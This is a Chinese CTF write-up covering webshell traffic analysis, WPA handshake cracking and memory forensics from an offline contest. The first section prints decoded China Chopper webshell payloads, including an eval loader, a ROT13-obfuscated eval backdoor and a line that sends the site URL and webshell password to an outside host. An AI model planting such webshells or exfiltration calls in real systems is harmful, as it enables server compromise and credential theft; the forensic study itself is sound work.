author: B1ngDa0


  9月8日在杭州打了一场CTF线下赛,第一次专门参加一场CTF,而且还是线下无网环境。被理论题以及CTF解题困住、AWD打自闭。虽然结果比较凄惨,但是学习并了解了,相信下次会打的更好。这次就先来CTF解题的复现以及AWD的反思总结。

CTF_Misc

  Misc 有三道题,主要是两个类型:

  • 流量分析
  • 内存取证

  复现的时候并没有觉得有多难,并且还感觉是比较老的题型(行吧,有网的人说话就是硬气。),但当时一道都没有做出来,我太菜了。平时积累不够,做CTF练习的时候根本没有去做web以外的,之后练习的时候也需要多关注其他的类型。

寻找webshell密码


  提示为:寻找到菜刀连接的密码,flag格式为 flag{xxx},xxx为菜刀的连接密码。下载文件后为pcapng格式的数据包。使用Wireshark进行分析。

1
http.request.method==POST && http contains "php"

  菜刀链接即限制请求为POST,并且缩小范围为PHP方便观看。

  直接找到了webshell.php的包,并且数据也是较常规的菜刀流量包,那密码不就是cmd了?不存在的,提交是不可能成功的。那么便继续分析数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cmd = $_=strrev(edoced_46esab);@eval($_($_POST[z0]));
z0 = QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=

->Decode:
@eval(base64_decode('aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9'));@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

->Decode:

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST));}

z1 = YzpcXGluZXRwdWJcXHd3d3Jvb3RcXA==

->Decode:

c:\\inetpub\\wwwroot\\

  可以看出是列出了c:\inetpub\wwwroot\的目录,查看响应包

分析时需要注意的是只有建立连接和断开连接时才会显示HTTP协议,其余流量传输其实应该去TCP流中找(Follow TCP Stream)。

  跟踪 TCP 流:

  看到的是一套asp源码。

  后经过对数据包的分析发现,攻击者逐渐使用命令进入了wordpress的目录并且下载了 www.zip

  唯一有用的信息是这个rar压缩包。通过更改“显示和保存的数据为”->原始数据然后保存为rar文件打开即可看见源码。

  直接使用D盾查找webshell

  跟踪过去发现将一个文件读入了字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73

->Decode:

http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js
内容:
QHJpbnkoJF9DQkZHWyJvN3BxbnMwMzBxNTlzc3JxNzMxcXBuMDFuMTU2NXJybyJdKQ==

->Decode:

@riny($_CBFG["o7pqns030q59ssrq731qpn01n1565rro"])
看着有种是反着的感觉,并且在前面的源码也是进行了
字符串执行 ROT13 转换特征码:str_rot13()
解码为:b7cdaf030d59ffed731dca01a1565eeb

  最终flag{b7cdaf030d59ffed731dca01a1565eeb}


寻找wifi密码

  提示为:wifi密码为 6666xxxx。下载为 pcap数据包,使用Wireshark进行分析

考的是Wifi的认证过程中在WPA的四次握手包,也就只需要过滤eapol协议包

  除开一个重复的包,正好是四次握手包。并且在详细信息中知道了flag的格式:flag{05password-f059-448f}

  接下来就是破解wifi密码了

  可通过crunch或者python补全密码生成爆破字典。然后使用aircrack-ng进行密码破解:

  选择646 拥有WPA握手包的选项,此处的名字或者地址与之前Wireshark中的握手包中的信息应是相同。

  成功找到密码。

  最终flag{0566668912-f059-448f}


寻找小黑记录的内容

  这是一道内存取证题。下载的压缩包内容为8.raw文件。这是通过内存取证工具Dumpit提取内存生成的内存转储文件,可使用Volatility进行取证。

首先是得获取该内存数据是在什么操作系统下生成的。这能帮助Volatility更好的分析。

1
volatility imageinfo -f 8.raw

可以看出是WinXPSP2x86生成的

在之后执行volatility 需带上,指定操作系统的属性:

1
--profile=WinXPSP2x86

根据题意,是通过查找小黑使用记事本编写的内容,于是使用notepad插件列出当前的记事本文本:

1
volatility notepad -f 8.raw --profile=WinXPSP2x86

获取到

flag{3661386562366162333565313332396130373363313239656230356332636566}

进行解密(为base16编码方式):

最终flag{6a8eb6ab35e1329a073c129eb05c2cef}

AWD反思

  直到AWD比赛正式开始前,对它都是充满期待的,想象着会是一场怎样体验。正式开始后,随着而来的是手忙脚乱的布防,比赛未开始前一直以为是三个人负责一台团队靶机,可以不那么慌,分工合作进行布防、发现漏洞、批量获取并提交flag。然而是一个团队三个靶机,来的猝不及防。一下子从分工合作变成单打独斗。有些手忙脚乱,通过文件监控以及D盾扫描找到一些后门。

  标题未某线下CTF是因为名字太长了懒得打,根据日期和地点可以知道是哪场比赛。在线上CTF的时候,各种资料信手拈来,各种方式可以尝试,但到线下无网环境显得手忙脚乱,需要更加的注意平时的记录整理以及记忆。这次的writeup也只是简单的Misc杂项,希望下次可以说出我骄傲地在赛场上获得了什么名次并且对多一些的题进行书写writeup。共勉,加油!

原数据包地址:

链接: https://pan.baidu.com/s/1OCcOodht_PPsy65WwKzoIg 提取码: gqhm